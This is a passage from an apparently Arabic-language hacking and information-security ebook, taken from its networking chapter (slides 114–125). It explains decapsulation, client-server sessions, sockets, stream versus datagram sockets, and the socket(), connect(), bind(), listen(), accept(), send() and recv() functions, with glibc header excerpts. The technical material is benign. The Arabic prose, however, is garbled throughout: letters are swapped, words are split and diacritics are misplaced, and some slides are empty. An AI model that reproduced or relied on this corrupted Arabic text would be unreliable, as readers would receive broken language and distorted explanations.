‫أعىل‬ ‫لىل‬ ‫أسفل‬ ‫ن‬‫م‬ ،!‫كس‬َ‫ع‬‫ال‬‫ب‬ ‫األمر‬ ‫سري‬َ‫ي‬ َ ‫س‬ ‫األطرى‬ ‫اجلهة‬ ‫ويف‬ ‫أن‬ ُ ‫حيث‬ ، ‫ال‬ packet ‫ال‬ ‫لىل‬ ‫وصلت‬ ‫قد‬ Physical Layer ‫ال‬ ‫م‬ُ‫ث‬ ً‫ال‬‫أو‬ Data-Link ‫طبق‬ ‫كل‬ ‫وبالتايل‬ ..،‫كذا‬َ‫وذ‬ ‫ة‬ ‫ال‬ ‫د‬‫ستتفق‬ ‫منهم‬ Header ‫ال‬ ‫ذذا‬ ‫َزع‬‫ن‬‫ب‬ ‫تقوم‬ ‫م‬ُ‫ث‬ ،‫طرى‬ُ‫أل‬‫ا‬ ‫ة‬َ‫ه‬‫اجل‬ ‫يف‬ ‫هلا‬ ‫رة‬‫ناظ‬ُ‫مل‬‫ا‬ ‫الطبقة‬ ‫أضاقته‬ ‫الذي‬ Header ، ‫حجم‬ ‫ص‬ُ‫ق‬‫َنا‬‫ت‬ ‫لىل‬ ‫ؤدي‬ُ‫ي‬ ‫ا‬ّ‫ُم‬ ‫ال‬ Header ‫كلام‬ ‫ال‬ ‫ذذه‬ ‫عن‬ ِّ ‫رب‬َ‫ع‬ُ‫ن‬‫و‬ .‫ألعىل‬ ‫دنا‬َ‫ع‬ َ ‫ص‬ Process :‫ح‬َ‫ل‬َ‫ط‬‫ص‬ُ‫مل‬‫ا‬ ‫ِبذا‬ “Decapsulation” . ‫ال‬ ‫عملية‬ ‫يوضح‬ ‫الشكل‬ Encapsulation ‫وال‬ Decapsulation :
  • 114.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [114] ‫ُل‬‫ك‬ ‫ة‬َ‫ي‬‫َسم‬‫ت‬ ‫كل‬ َ ‫الش‬ ‫يف‬ ‫ر‬َ‫ظه‬َ‫ي‬ Header ُ‫ه‬‫لضاقت‬ ‫م‬‫ت‬َ‫ي‬ ‫ب‬ H ‫تب‬َ‫م‬ ‫بقة‬َ‫ط‬‫ال‬ ‫لسم‬ ‫ن‬‫م‬ ‫رف‬ َ‫ح‬ ‫بأول‬ ً‫ا‬‫وع‬ .. ‫ال‬ ‫أن‬ ‫عي‬َ‫م‬ ‫ظ‬‫الح‬ router َ‫م‬ ‫أثناء‬ ‫ال‬ ‫سرية‬ Packet ‫ل‬َ‫م‬َ‫ع‬‫ب‬ َ‫م‬‫قا‬ Decapsulation ‫زئي‬ ُ‫ج‬ ، ‫ال‬ ‫بنزع‬ ‫قام‬ ‫لقد‬ frame header ‫بحيث‬ ‫صياغته‬ ‫وأعاد‬ ‫ال‬ ‫يتضمن‬ MAC ‫اجله‬ ‫يف‬ ‫يقع‬ ‫الذي‬ ‫باجلهاز‬ ‫اخلاص‬ ‫ة‬ ‫ال‬ ‫من‬ ‫األطرى‬ Subnet . ‫ال‬ ‫لمرار‬ َ‫د‬‫وأعا‬ packet ‫ال‬ ‫لىل‬ Host ‫ال‬ ‫ث‬ُ‫د‬ َ ‫حي‬ ُ ‫حيث‬ Decapsulation ‫ل‬‫الكام‬ ‫لديه‬ ‫تظهر‬ ‫كي‬ ‫ال‬ message ‫قروء‬َ‫مل‬‫ا‬ ‫ها‬‫صيغت‬‫ب‬ ‫ة‬ ‫شاشة‬ ‫عىل‬ ‫ال‬ end user . ‫اخلاص‬ ‫الربوتوكوالت‬ ‫بعض‬ ‫ييل‬ ‫ما‬ ‫ة‬ :‫قوق‬ ‫رشحها‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ‫التي‬ ‫بالطبقات‬ ‫ذناك‬ ‫ال‬ ‫بخصوص‬ ‫مالحظة‬ Processes Communicating : ‫لنشاء‬ ‫عند‬ Communication Session ‫نوع‬ ‫من‬ Client-Server ‫ال‬ ‫ذذه‬ ‫تكون‬ ‫أن‬ ‫البد‬ ‫أنه‬ ‫يعني‬ ‫قهذا‬ Session ‫بني‬ ‫ال‬ ‫أحد‬ ‫و‬ ً‫ال‬‫مث‬ ‫كمبيوتر‬ ‫جهاز‬ Servers ! . ‫ل‬‫تص‬َ‫ي‬ ‫بام‬ُ‫ر‬ Server ‫ب‬ Server ‫ال‬ ‫نوع‬ ‫ويبقى‬ ‫ر‬ َ ‫آط‬ Session ً‫ا‬‫أيض‬ " Client-Server ."
  • 115.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [115] ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫تعريف‬ ‫قام‬ ..ً‫ا‬‫لذ‬ Sessions .. ‫؟‬ ‫ال‬ ‫بتعريف‬ ‫نقوم‬ Process ‫بال‬ ‫االتصال‬ ‫بإنشاء‬ ‫بالبدء‬ ‫تقوم‬ ‫التي‬ Client ، ‫وال‬ Process ‫أ‬ ‫تنتظر‬ ‫التي‬ ‫ِبا‬ ‫يتصل‬ ‫ن‬ ‫ال‬ ‫معه‬ ‫لتبدأ‬ ‫أحدذم‬ Session ‫بال‬ Server . :‫مثال‬ ‫ُعطي‬‫ن‬‫ل‬ ‫ال‬ ‫يقوم‬ ،‫ما‬ ٍ‫خص‬ َ ‫ش‬‫ل‬ ‫للكرتوين‬ ‫ريد‬َ‫ب‬ ‫رسالة‬ ‫ل‬‫ُرس‬‫ت‬ ‫ندما‬‫ع‬ Agent ‫ال‬ ‫وذو‬ ‫بك‬ ‫اخلاص‬ Outlook ‫جهازك‬ ‫عىل‬ ً‫ال‬‫مث‬ ‫ال‬ ‫مع‬ ‫بالتواصل‬ Mail Server ‫بال‬ ‫اتصال‬ ‫بإنشاء‬ ‫بدوره‬ ‫ذو‬ ‫يقوم‬ ‫ثم‬ ،‫بك‬ ‫اخلاص‬ Mail Server ‫ب‬ ‫اخلاص‬ ،‫صديقك‬ ‫ال‬ ‫الحظ‬ Communication ‫ال‬ ‫بني‬ ‫حيدث‬ ‫اآلن‬ Mail Servers ‫نوع‬ ‫من‬ ‫قهو‬ ‫ذلك‬ ‫من‬ ‫وبالرغم‬ Client-Server ،! ‫ال‬ ‫قيكون‬ Server ‫ال‬ ‫ذو‬ ‫بك‬ ‫اخلاص‬ Client ‫عليه‬ ‫ُطلق‬‫ن‬‫و‬ “SMTP Client” ‫واآلطر‬ ‫ال‬ ‫ذو‬ Server ‫عليه‬ ‫ُطلق‬‫ن‬ ‫و‬ “SMTP Server” . ‫ولكن‬ ‫مالعالقه‬ ‫ال‬ ‫بني‬ Layers Network ‫ال‬ ‫و‬ Network Protocols ‫!؟‬ ‫نحن‬ ‫اآلن‬ ‫ب‬ ‫علم‬ ‫عىل‬ ‫ال‬ Network Layers ، ‫الشبكات‬ ‫بروتوكوالت‬ ‫لنا‬ ‫يتبقى‬ .. ‫ماييل‬ ‫تعريف‬ ُ ‫ُم‬ :‫هلا‬ َ ‫َرص‬‫ت‬ Networking protocols specify what types of data can be sent, how each type of message will be identified, what actions can or must be taken by participants in the conversation. precisely.. “Where in the packet header each type of required information will be placed”.
  • 116.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [116] The Socket ،‫الكمبيوتر‬ ‫عىل‬ ‫ما‬ ٍ ‫برنامج‬ ‫بتشغيل‬ ‫نقوم‬ ‫عندما‬ ‫قنكون‬ ‫بذ‬ ‫لك‬ ‫تح‬َ‫ف‬‫ب‬ ‫منا‬ُ‫ق‬ Process ‫ال‬ ‫ذذا‬ ‫عىل‬ O.S . ‫حتتاج‬ ً‫ا‬‫أحيان‬ َ ‫الرب‬ ‫ال‬ ‫أو‬ ‫ج‬‫ام‬ (Processes) ‫ال‬ ‫نفس‬ ‫عىل‬ ‫البعض‬ ‫ها‬‫بعض‬ ‫مع‬ ‫تتواصل‬ ‫أن‬ O.S ، ‫ى‬‫م‬ َ ‫س‬ُ‫ي‬ ‫ل‬ ُ ‫التواص‬ َ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ “Interprocess Communication” . ‫ال‬ ‫ضها‬‫فر‬َ‫ي‬ ‫قوانني‬ ‫قق‬‫و‬ ‫ث‬ُ‫د‬ َ ‫وحي‬ O.S .‫هلم‬ ‫ضيف‬ُ‫مل‬‫ا‬ !‫جيد‬ ‫ذذا‬ . ‫ال‬ ‫عىل‬ ‫الرتكيز‬ ‫د‬َ‫د‬ َ ‫ص‬‫ب‬ ‫نا‬ُ‫ذ‬ ‫ولكننا‬ communications ‫ال‬ ‫بني‬ Processes ‫ال‬ ‫ال‬ ‫نفس‬ ‫يف‬ ‫تقع‬ ‫ال‬ ‫تي‬ Host ، ‫ق‬‫ُطل‬‫ن‬ ‫كام‬ ‫أو‬ ‫عليها‬ “Processes on two different end systems” . ‫ال‬ ‫ذذه‬ ‫أحد‬ ‫تقوم‬ ‫ولكي‬ Processes ‫ال‬ ‫أو‬ Applications ‫أو‬ ‫رسالة‬ ‫بإرسال‬ Packet ‫ال‬ ‫لىل‬ Process ‫قنحن‬ ‫األطرى‬ ‫بحاج‬ ‫ة‬ ‫ال‬ ‫عرب‬ ‫رور‬ُ‫للم‬ " underlying network ." ‫ال‬ ‫ذذه‬ ‫تقوم‬ ‫وبالتايل‬ Process ‫الرسال‬ ‫بإرسال‬ ‫ة‬ ، ‫ال‬ ‫وتقوم‬ Process ‫مهي‬َ‫و‬ ‫ذ‬َ‫ف‬‫ن‬َ‫م‬ َ‫رب‬َ‫ع‬ ‫الرسالة‬ ‫تلك‬ ‫باستقبال‬ ‫األطرى‬ ‫اجلهة‬ ‫يف‬ ‫الثانية‬ (Logical) ‫أو‬ " Software Interface .." ‫ال‬ ‫ذذه‬ Software Interface ‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ “Socket” . ‫ال‬ ‫ذو‬ ‫قام‬ “Socket” ‫؟‬ً‫ا‬‫لذ‬ . ‫ن‬َ‫ع‬ ‫ة‬َ‫بار‬‫ع‬ ُ‫ه‬‫لن‬ Interface ‫ال‬ ‫بني‬ ‫ع‬َ‫ق‬َ‫ت‬ Application Layer ‫ال‬ ‫و‬ Transport Layer ‫ال‬ ‫ى‬َ‫د‬َ‫ل‬ Host . ‫الصورة‬ ‫التالية‬ ‫ال‬ ‫توضح‬ Socket :
  • 117.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [117] ‫بتعريف‬ ‫نقوم‬ ،‫الربجميات‬ ‫وبلغة‬ ‫وظيفة‬ ‫ال‬ Socket ‫بامييل‬ : “It can be used to send or receive data over a network”. ‫كرنا‬َ‫ذ‬ ‫ال‬ ‫َصميم‬‫ت‬‫ب‬ ‫قوم‬َ‫ي‬ ‫الذي‬ ‫ج‬‫ربم‬ُ‫مل‬‫ا‬ ‫أن‬ ً‫ا‬‫سابق‬ Application ‫ال‬ ‫لرسال‬ ‫ملية‬َ‫ع‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ ‫الربوتوكول‬ ‫نوع‬ ‫د‬ِّ‫حد‬ُ‫ي‬ َ ‫س‬ Data ، ‫ال‬ ‫نوع‬‫ل‬ ً‫ا‬‫تبع‬ ‫وذلك‬ Application ، ‫ال‬ ‫ة‬َ‫م‬‫د‬‫ط‬ ‫نا‬َ‫ل‬ ‫م‬ِّ‫قد‬ُ‫ي‬ ‫اليوتيوب‬ :ً‫ال‬‫ث‬َ‫م‬َ‫ق‬ Video Streaming .. ‫ة‬َ‫م‬‫د‬‫اخل‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ال‬ ‫بروتوكول‬ َ‫رب‬َ‫ع‬ ‫ستخدمني‬ُ‫كم‬ ‫للينا‬ ‫يلها‬‫َوص‬‫ت‬‫ب‬ ‫يقوم‬ TCP ، ‫برن‬ ‫تصميم‬ ‫عند‬ ‫بينام‬ ‫كال‬ ‫امج‬ Internet Telephony ‫ال‬ ‫استخدام‬ ‫قيكون‬ UDP ‫أقض‬ ‫ل‬ . ‫االتصال‬ ‫بروتوكوالت‬ ‫من‬ ‫رئيسيان‬ ‫نوعان‬ ‫لدينا‬ ‫أننا‬ ‫وبام‬ TCP & UDP .. ‫قلدينا‬ ‫ال‬ ‫من‬ ‫رئيسيني‬ ‫نوعني‬ ً‫ا‬‫أيض‬ “Sockets” ‫الصفح‬ ‫يف‬ ‫نستعرضهم‬ ، ‫ة‬ ‫التالي‬ ‫ة‬ .
  • 118.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [118] Stream Sockets ََ‫مل‬‫كا‬ُ‫مل‬‫ا‬ ‫كرة‬‫ق‬ ‫لىل‬ ‫أقرب‬ ‫عمله‬ ‫قكرة‬ ‫ة‬ ‫اهلاتفي‬ ‫ة‬ ‫يف‬ ،! ‫نوع‬ ‫ن‬‫م‬ ‫ا‬‫كوهن‬ “Two-way Communication” ، ‫د‬‫ر‬َ‫ج‬ُ‫م‬‫ب‬ ‫أنه‬ ‫بمعنى‬ َ‫ن‬‫م‬ ُ‫ه‬‫ع‬َ‫سم‬َ‫ي‬ ‫الذي‬ ‫الكالم‬ َ‫ن‬‫م‬ ‫ُد‬‫ك‬‫التأ‬ ‫م‬ُ‫نه‬‫م‬ ِّ‫ألي‬ ‫ن‬‫مك‬ُ‫ي‬ ‫كذلك‬ ،‫ث‬ُ‫التحد‬ ‫م‬ُ‫نه‬‫م‬ ِّ‫ألي‬ ‫ن‬‫مك‬ُ‫ي‬‫قس‬ ‫بينهم‬ ‫اإلتصال‬ ‫قناة‬ ‫تح‬َ‫ق‬ ‫بنعم‬ ‫يب‬ ُ ‫جي‬ ‫أن‬ ‫لآلطر‬ ‫ن‬‫مك‬ُ‫ي‬‫و‬ ‫وكذا؟‬ ‫كذا‬ ‫لت‬ُ‫ق‬ ‫ذل‬ :‫سأله‬َ‫ي‬ ‫أن‬‫ب‬ ‫اآلطر‬ ‫ف‬ َ‫ر‬َ‫ط‬‫ال‬ ..!‫أراد‬ ‫لن‬ ‫َالم‬‫ك‬‫ال‬ ُ‫ه‬‫ل‬ ‫عيد‬ُ‫ي‬ ‫أن‬ ‫أو‬ ،‫ال‬ ‫أو‬ ‫ال‬ ‫من‬ ‫النوع‬ ‫ذذا‬ ‫أن‬ ‫أقصد‬ ‫بأين‬ َ ‫مت‬‫عل‬ ‫د‬َ‫ق‬ ‫وأنك‬ ‫د‬ُ‫ب‬‫ال‬ Sockets ‫ال‬ ‫سيستخدم‬ TCP ، ‫ال‬ ‫بإيصال‬ ‫هتمني‬ُ‫م‬ ‫نا‬ُ‫ذ‬ ‫ألننا‬ Packets ‫ة‬‫أي‬ ‫دوث‬ ُ‫ح‬ ‫دون‬ Errors .! ِّ‫ف‬‫َص‬‫ت‬ُ‫م‬ ‫قوم‬َ‫ي‬ ‫ما‬َ‫ند‬‫ع‬ ‫اإلتصال‬ ‫قنوات‬ ‫ن‬‫م‬ ‫النوع‬ ‫ذذا‬ ‫استخدام‬ ‫م‬‫ت‬َ‫ي‬ ‫ولذلك‬ ‫بال‬ ‫باإلتصال‬ ً‫ال‬‫ث‬َ‫م‬ ‫ك‬َ‫ح‬ Mail Servers ‫أو‬ Web Servers .!‫مكان‬ ‫أي‬ ‫يف‬ Datagram Sockets ‫لىل‬ ‫أقرب‬ ‫االتصال‬ ‫يكون‬ ‫نا‬ُ‫ذ‬ ‫قكرة‬ ‫ال‬ “One-way Communication” ، ‫ذا‬َ‫ه‬َ‫ق‬ ،‫ف‬‫اهلات‬ ‫ة‬ََ‫مل‬‫كا‬ُ‫م‬ ‫ه‬‫شب‬ُ‫ي‬ ‫األول‬ َ‫كان‬ ‫قإذا‬ ‫ند‬‫ع‬ ‫كر‬َ‫تتذ‬ ‫ذل‬ ،!‫يد‬ َ ‫الرب‬ َ‫رب‬َ‫ع‬ ‫سالة‬‫ر‬‫ل‬ ‫ك‬‫لرسال‬ ‫ة‬ّ‫ي‬‫ل‬َ‫م‬َ‫ع‬ ‫ه‬‫شب‬ُ‫ي‬ ‫ن‬‫م‬ ‫ة‬َ‫م‬‫قد‬ُ‫مل‬‫ا‬ ‫اإلطتبارات‬ ‫أحد‬ ‫يف‬ ‫ك‬‫َجاح‬‫ن‬ Cisco ، ‫تقوم‬ ‫م‬ُ‫ث‬ ‫ك‬ ‫الشهادة‬ ‫لب‬َ‫ط‬‫ب‬ Hard copy ، ‫ال‬ ‫ذذا‬ ‫تنتظر‬‫ل‬ US Mail ‫لليك‬ ‫وصوهلا‬ ‫حلة‬‫ر‬ ‫ق‬‫تستغر‬ ‫بام‬ُ‫ور‬ ،‫الشهادة‬ َ ‫لك‬ ‫ل‬‫رس‬ُ‫ي‬ ‫كي‬ َ‫ي‬ ً‫ا‬‫أيض‬ ‫بام‬ُ‫ور‬ ،‫كذلك؟‬ ‫أليس‬ !‫شهر‬ ‫ن‬‫م‬ ‫أكثر‬ ..!‫يشء‬ ‫لك‬‫ص‬َ‫ي‬ ‫وال‬ ‫األمر‬ ‫ر‬ّ‫ث‬‫َع‬‫ت‬ ‫وت‬ ُ ‫رب‬‫ب‬ ‫أشبه‬ ‫ذذا‬ ‫ال‬ ‫وكول‬ UDP ، ‫ال‬ ‫ل‬‫رس‬ُ‫ي‬ ‫لنه‬ Packets .‫الوصول‬ ‫ك‬َ‫ل‬ ‫ن‬َ‫ضم‬َ‫ي‬ ‫وال‬ ‫يغة‬‫ص‬‫ب‬ ‫هادات‬ َ ‫الش‬ ‫ب‬ُ‫ل‬‫َط‬‫ت‬ ‫أن‬ ‫الدرس‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬ ‫م‬‫قتتعل‬ PDF ‫ن‬َ‫م‬‫تض‬‫ل‬ ‫ذلك‬ ‫بعد‬ ‫ليها‬َ‫ع‬ ‫ولك‬ ُ ‫ص‬ ُ‫ح‬  .. ‫ال‬ ‫استخدام‬ ‫ح‬ ِّ ‫توض‬ ‫أشكال‬ ‫ييل‬ ‫ما‬ Stream Socket ‫ني‬َ‫ب‬ ‫اتصال‬ ‫عملية‬ ‫أثناء‬ Client ‫و‬ Server . ‫الشكل‬ ‫يف‬ ‫ظ‬‫الح‬ ‫األول‬ ‫أن‬ ‫ال‬ output stream ‫ال‬ ‫لىل‬ ‫سيذذب‬ ‫اجلهاز‬‫ب‬ ‫اخلاص‬ Buffer ‫ال‬ ‫لىل‬ ‫م‬ُ‫ث‬ Server ‫ذيئة‬ ‫عىل‬ input ‫والعكس‬ ‫انتقال‬ ‫عند‬ ‫ال‬ data ‫ال‬ ‫من‬ Server ‫ال‬ ‫لىل‬ client .
  • 119.
  • 120.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [120] ‫قد‬ ‫نكون‬ ‫نا‬ُ‫ذ‬ ‫لىل‬ ‫األولية‬ ‫املرحلة‬ ‫ذذه‬ ‫من‬ ‫انتهينا‬ . ‫واآلن‬ ‫سنبدأ‬ ‫بال‬ ُّ‫م‬َ‫ع‬‫ت‬ ً‫ال‬‫قلي‬ ‫ق‬ ‫ال‬ ‫األكواد‬ ‫ستخدمني‬ُ‫م‬ ‫ربجمية‬ ،!‫انتبه‬ . ‫القادم‬ ‫الفقرات‬ ‫يف‬ ‫سنعتمد‬ ‫ة‬ ‫التي‬ ‫األساسيات‬ ‫عىل‬ .‫األول‬ ‫الباب‬ ‫يف‬ ‫تناولناذا‬ ..!‫لق‬َ‫ط‬‫نن‬‫ل‬ ..‫ذيا‬
  • 121.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [121] Socket Functions ‫ال‬ ‫ر‬‫تتذك‬ ‫ذل‬ file access ‫ال‬ ‫نستخدم‬ ‫ا‬‫ُن‬‫ك‬ ،‫السابق؟‬ ‫الباب‬ ‫يف‬ ‫رشحناذا‬ ‫التي‬ " file descriptor " ‫ل‬َ‫م‬َ‫ع‬‫ل‬ identify ‫ُل‬‫ك‬‫ل‬ ‫و‬ ُ‫ه‬‫قتح‬ ‫يتم‬ ‫ملف‬ ‫ال‬ ‫بقيام‬ ‫ذلك‬ kernel ‫بمثابة‬ ‫يكون‬‫ل‬ ‫برقم‬ ‫العملية‬ ‫ذذه‬ ‫بط‬ َ‫ر‬‫ب‬ reference .‫التشغيل‬ ‫نظام‬ ‫لدى‬ ‫هلا‬ ً‫ا‬‫أيض‬ ‫ال‬ Sockets ‫م‬‫َخد‬‫ت‬‫َس‬‫ت‬‫و‬ ،‫ق‬‫نط‬َ‫مل‬‫ا‬ ‫َفس‬‫ن‬‫ب‬ ‫ل‬َ‫م‬‫تتعا‬ Functions ‫ل‬َ‫م‬َ‫ع‬ ‫داء‬‫أل‬ ً‫ا‬‫أيض‬ ‫ال‬ ‫م‬‫َخد‬‫ت‬‫س‬َ‫ي‬ َ‫كان‬ ‫كام‬ ‫ها‬ file access ‫موعة‬ َ ‫جم‬ ‫ال‬ َ‫ن‬‫م‬ functions ‫ثل‬‫م‬ write( ) ‫و‬ read( ) . ‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ define ‫ال‬ ‫ه‬‫ذ‬َ‫هل‬ functions ‫ال‬ ‫لها‬‫َعم‬‫ت‬‫س‬َ‫ي‬ ‫التي‬ Socket ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫يف‬ Lib : <Sys/sockets.h> /usr/include/sys/socket.h ‫ال‬ ‫ذذه‬ ‫من‬ ‫سطور‬ ‫أول‬ ‫ييل‬ ‫ما‬ Lib : /* Declarations of socket constants, types, and functions. 2: Copyright (C) 1991,92,1994-2001,2003,2005,2007 3: Free Software Foundation, Inc. 4: This file is part of the GNU C Library. ‫ال‬ ‫بعض‬ ‫ذذه‬ functions ‫اخلاص‬ ‫األساسية‬ ‫ة‬ ‫بال‬ Sys/Socket.h Library : ‫ُل‬‫ك‬ ‫ل‬َ‫ف‬‫أس‬ ‫ح‬ ّ ‫وض‬ُ‫م‬ function َ َ ‫َرص‬‫ت‬ ُ ‫ُم‬ ‫بطريقة‬ ‫وظيفتها‬ ‫ة‬ . ‫طلف‬ ‫لديك‬ ‫َت‬‫ن‬‫َو‬‫ك‬َ‫ت‬ ‫قد‬ ‫أنه‬ ‫ام‬‫وب‬ ‫السابق‬ ‫الفصل‬ ‫من‬ ‫ِبا‬ ‫بأس‬ ‫ال‬ ‫ية‬ ‫ال‬ ‫تتجاوز‬ ‫بنسبة‬ ‫وظيفتهم‬ ‫م‬َ‫َفه‬‫ت‬ َ ‫س‬ ‫أنك‬ ‫قأعتقد‬ 60% .‫اهلل‬ ‫بإذن‬ ‫وس‬ ‫ن‬ ‫أطرى‬ ً‫ة‬‫مر‬ ‫بتوضيحهم‬ ‫قوم‬ ‫يف‬ ‫األكواد‬ ‫داطل‬ .‫ة‬َ‫م‬‫القاد‬ ‫رات‬َ‫ق‬َ‫ف‬‫ال‬ socket(int domain, int type, int protocol) Used to create a new socket, returns a file descriptor for the socket or -1 on error.
  • 122.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [122] connect(int fd, struct sockaddr *remote_host, socklen_t addr_length) Connects a socket (described by file descriptor fd) to a remote host. Returns 0 on success and -1 on error. bind(int fd, struct sockaddr *local_addr, socklen_t addr_length) Binds a socket to a local address so it can listen for incoming connections. Returns 0 on success and -1 on error. listen(int fd, int backlog_queue_size) Listens for incoming connections and queues connection requests up to backlog_queue_size. Returns 0 on success and -1 on error. accept(int fd, sockaddr *remote_host, socklen_t *addr_length) Accepts an incoming connection on a bound socket. The address information from the remote host is written into the remote_host structure, and the actual size of the address structure is written into *addr_length. This function returns a new socket file descriptor to identify the connected socket or -1 on error. send(int fd, void *buffer, size_t n, int flags) Sends n bytes from *buffer to socket fd; returns the number of bytes sent or -1 on error. recv(int fd, void *buffer, size_t n, int flags) Receives n bytes from socket fd into *buffer; returns the number of bytes received or -1 on error. ‫ال‬ ‫لنشاء‬ ‫عند‬ ‫أنه‬ ‫الحظ‬ Socket ، ‫سن‬ ‫ب‬ ‫قوم‬ ‫تحديد‬ ‫األ‬ ‫ذذه‬ ‫مور‬ : Domain ‫ال‬ ‫نوع‬ ‫وذو‬ Protocol Family ‫مع‬ ‫ستتعامل‬ ‫كنت‬ ‫اذا‬ ‫ما‬ ‫حتديد‬ ‫يمكنك‬ ً‫ال‬‫قمث‬ IPv4 ‫أم‬ IPv6 .!‫غريذم‬ ‫أم‬
  • 123.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [123] Type ‫ال‬ ‫ا‬‫ِب‬ ‫َعني‬‫ن‬‫و‬ Socket Type ‫كان‬ ‫لذا‬ ‫ما‬ TCP or UDP . Protocol ‫كها‬ُ‫رت‬َ‫ن‬ َ ‫س‬ 0 ‫عنى‬َ‫م‬‫ب‬.. unspecified ‫ال‬ ‫نوع‬ ‫نا‬‫د‬َ‫د‬ َ‫ح‬ ‫ألننا‬ protocol ‫ال‬ ‫يف‬ Argument ‫األوىل‬ ً‫ا‬‫ق‬َ‫ب‬‫س‬ُ‫م‬ . ‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ protocol families ‫ل‬َ‫م‬َ‫ع‬ ‫َم‬‫ت‬ define :‫سار‬َ‫مل‬‫ا‬ ‫ذا‬َ‫ذ‬ َ‫رب‬َ‫ع‬ ‫ا‬َ‫هل‬ /bits/socket.h ‫ال‬ ‫ذذه‬ ‫تويات‬ ُ ‫حم‬ ‫ذ‬ ُ ‫نأط‬ َ ‫س‬ library ..‫أجزاء‬ ‫ة‬‫د‬‫ع‬ ‫عىل‬ ‫بال‬ ‫اخلاص‬ ‫وذو‬ ،‫جزء‬ ‫بأول‬ ‫لنبدأ‬ protocol families : /* Protocol families. */ #define PF_UNSPEC 0 /* Unspecified. */ #define PF_LOCAL 1 /* Local to host (pipes and file-domain). */ #define PF_UNIX PF_LOCAL /* Old BSD name for PF_LOCAL. */ #define PF_FILE PF_LOCAL /* Another nonstandard name for PF_LOCAL. */ #define PF_INET 2 /* IP protocol family. */ #define PF_AX25 3 /* Amateur Radio AX.25. */ #define PF_IPX 4 /* Novell Internet Protocol. */ #define PF_APPLETALK 5 /* Appletalk DDP. */ #define PF_NETROM 6 /* Amateur radio NetROM. */ #define PF_BRIDGE 7 /* Multiprotocol bridge. */ #define PF_ATMPVC 8 /* ATM PVCs. */ #define PF_X25 9 /* Reserved for X.25 project. */ #define PF_INET6 10 /* IP version 6. */ ...
  • 124.
    ‫اإل‬‫القرصنة‬ ‫لكتروني‬ ‫ة‬ ‫المعلومات‬‫وأمن‬ Understanding Hacking andInformation Security Networking [124] ‫ال‬ ‫أنواع‬‫ب‬ ‫طاص‬ ‫وذو‬ ‫الثاين‬ ‫زء‬ُ‫جل‬‫ا‬ Sockets : /* Types of sockets. */ enum __socket_type { SOCK_STREAM = 1, /* Sequenced, reliable, connection-based byte streams. */ #define SOCK_STREAM SOCK_STREAM SOCK_DGRAM = 2, /* Connectionless, unreliable datagrams of fixed maximum length. */ #define SOCK_DGRAM SOCK_DGRAM ... ‫ال‬ ‫نوعي‬ ‫الحظ‬ Sockets ‫وذم‬ : Stream (TCP) Datagram (UDP) Socket Address ‫قنا‬ ‫إلنشاء‬ ‫أنه‬ ‫نعلم‬ ‫كام‬ ‫بحاج‬ ‫قنحن‬ ‫طرقني‬ ‫بني‬ ‫االتصال‬ ‫ة‬ ‫ة‬ :‫ذي‬ ‫أساسية‬ ‫متغريات‬ ‫ألربعة‬ Source Address, Source Port, Destination Address, and Destination Port ‫ال‬ ‫تقوم‬ functions ‫ال‬ ‫نوع‬ ‫بتحديد‬ ‫باألعىل‬ ‫رشحناذا‬ ‫التي‬ “Socket Address Structure” ‫عملية‬ ‫يف‬ ُ‫ه‬ ُ‫نحتاج‬ ‫الذي‬ ‫بال‬ ‫نقصد‬ ،‫االتصال‬ Address Structure ‫ب‬ ‫لل‬ ‫العامة‬ ‫ح‬‫الم‬َ‫مل‬‫ا‬ Address ‫لل‬ ‫العامة‬ ‫املالمح‬ ً‫ال‬‫قمث‬ ،‫م‬َ‫ستخد‬ُ‫مل‬‫ا‬ object ‫بال‬ ‫اخلاص‬ IPv4 Address ‫عن‬ ‫عبارة‬ ‫تكون‬ 16 bits ‫لل‬ address family ، ‫و‬ 32 bits ‫لل‬ ‫ة‬ َ ‫ص‬‫ص‬َ ُ ‫ُم‬ IP ، ‫و‬ 16 bits ‫لل‬ ‫ة‬ َ ‫ص‬‫ص‬َ ُ ‫ُم‬ Port No ‫ال‬ ‫عن‬ ‫تلف‬ َ ‫خي‬ ‫بع‬َ‫ط‬‫ال‬‫ب‬ ‫وذذا‬ object ‫بال‬ ‫اخلاص‬ IPv6 . . ‫ال‬ ‫بقية‬ ‫مع‬ ‫وذكذا‬ Address Family . ‫لىل‬ ‫ة‬ َ‫حاج‬‫ب‬ ُ‫َحن‬‫ن‬ ‫بالتايل‬ Structure ‫وقارغ‬ ‫ت‬‫ثاب‬ ! .
  • 125.
